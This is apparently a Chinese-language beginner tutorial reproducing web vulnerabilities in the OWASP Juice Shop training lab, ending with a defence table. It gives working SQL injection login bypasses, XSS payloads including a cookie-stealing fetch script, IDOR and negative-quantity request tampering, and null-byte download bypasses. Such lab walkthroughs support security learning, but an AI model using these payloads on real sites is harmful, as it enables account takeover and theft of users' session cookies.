新手必看:用Juice-Shop靶场(v17.1.1)复现18个Web漏洞的完整实战笔记
Juice-Shop靶场实战:从零复现18种Web漏洞的深度指南
如果你刚踏入Web安全领域,面对各种漏洞概念却不知如何动手实践,Juice-Shop靶场会是绝佳的起点。这个故意设计漏洞的电商平台,涵盖了从SQL注入到XSS的完整攻击场景。本文将带你用Chrome开发者工具和基础命令行,在Windows 10上完成18类漏洞的实战复现。
1. 环境搭建与基础配置
在开始漏洞挖掘前,需要准备以下环境:
- Windows 10操作系统
- Node.js v22.14.0
- Chrome浏览器最新版
安装步骤:
# 下载Juice-Shop v17.1.1 git clone https://github.com/juice-shop/juice-shop.git --branch v17.1.1 cd juice-shop # 安装依赖并启动 npm install npm start启动后访问localhost:3000,你会看到一个看似正常的电商网站。但仔细观察就会发现处处暗藏玄机。建议立即打开Chrome开发者工具(F12),我们后续的很多操作都需要借助它。
注意:如果遇到端口冲突,可通过修改
config/default.yml中的server.port配置项调整端口号
2. 认证类漏洞实战
2.1 SQL注入登录管理员账户
在登录页面尝试以下payload:
- 基础探测:邮箱输入
',密码任意,观察错误信息 - 布尔注入:邮箱输入
' or 1=1 --,密码任意 - 精确注入:邮箱输入
admin@juice-sh.op' --,密码留空
-- 原始SQL可能类似: SELECT * FROM Users WHERE email='[输入]' AND password='[输入]' -- 注入后变为: SELECT * FROM Users WHERE email='admin@juice-sh.op' --' AND password=''2.2 JWT令牌破解
登录后查看网络请求的Authorization头,提取JWT令牌。使用jwt.io解码,发现密码哈希为0192023a7bbd73250516f069df18b500,通过MD5解密得到明文密码admin123。
3. 访问控制漏洞挖掘
3.1 垂直越权
通过前端源码搜索关键词admin,发现管理后台路径为/administration。直接访问会提示权限不足,但使用之前获取的管理员凭证即可进入。
3.2 水平越权
普通用户操作时,修改请求中的用户ID参数:
- 购物车ID替换为他人ID
- 反馈信息中的UserId篡改为其他用户
// 示例篡改的fetch请求 fetch("/api/BasketItems", { method: "POST", body: JSON.stringify({ ProductId: 1, BasketId: "2", // 修改为他人购物车ID quantity: 1 }) });4. 输入验证漏洞利用
4.1 前端验证绕过
发现注册页面的提交按钮有disabled属性时:
- 右键检查元素
- 删除
disabled="true"属性 - 提交空密码注册
4.2 业务逻辑漏洞
商品数量修改处,拦截请求修改参数:
POST /api/BasketItems HTTP/1.1 Content-Type: application/json {"ProductId":1,"quantity":-100} # 传入负数5. 敏感信息泄露利用
5.1 目录遍历
尝试访问以下路径:
/ftp目录列出服务器文件/assets查看静态资源/robots.txt发现隐藏路径
5.2 00截断绕过
下载受限文件时,使用null字节绕过:
/ftp/package.json.bak%2500.md原理:%00在URL解码后成为null字符,使服务器提前终止文件名检测
6. XSS攻击实战
6.1 DOM型XSS
在搜索框输入:
<iframe src="javascript:alert(document.cookie)">6.2 存储型XSS
在商品评价处注入:
<script>fetch('/log?cookie='+document.cookie)</script>7. 社会工程学技巧
7.1 密码重置破解
- 在照片墙找到目标用户(如john@juice-sh.op)
- 下载图片查看EXIF元数据
- 提取地理位置信息作为安全问题答案
7.2 优惠券暴力破解
在优惠码输入框连续尝试:
NEWYEAR2025 BLACKFRIDAY8. 漏洞防御方案
针对发现的每个漏洞,都应采取相应防护措施:
| 漏洞类型 | 防御方案 | 具体实施 |
|---|---|---|
| SQL注入 | 参数化查询 | 使用PreparedStatement |
| XSS | 输入过滤 | 部署DOMPurify库 |
| 越权 | 权限校验 | 每个API调用验证session |
| 信息泄露 | 目录限制 | 配置nginx禁止目录遍历 |
实际开发中,建议采用以下安全措施:
- 使用ORM框架避免手写SQL
- 实施CSP内容安全策略
- 定期进行安全审计
- 对所有用户输入进行严格验证
在Juice-Shop的实战过程中,最深的体会是:现代Web应用的安全防护需要纵深防御体系。单纯依靠前端验证或简单后端检查都容易被绕过。真正安全的系统应该在每一层都建立防护机制,同时保持对异常行为的监控和日志记录。
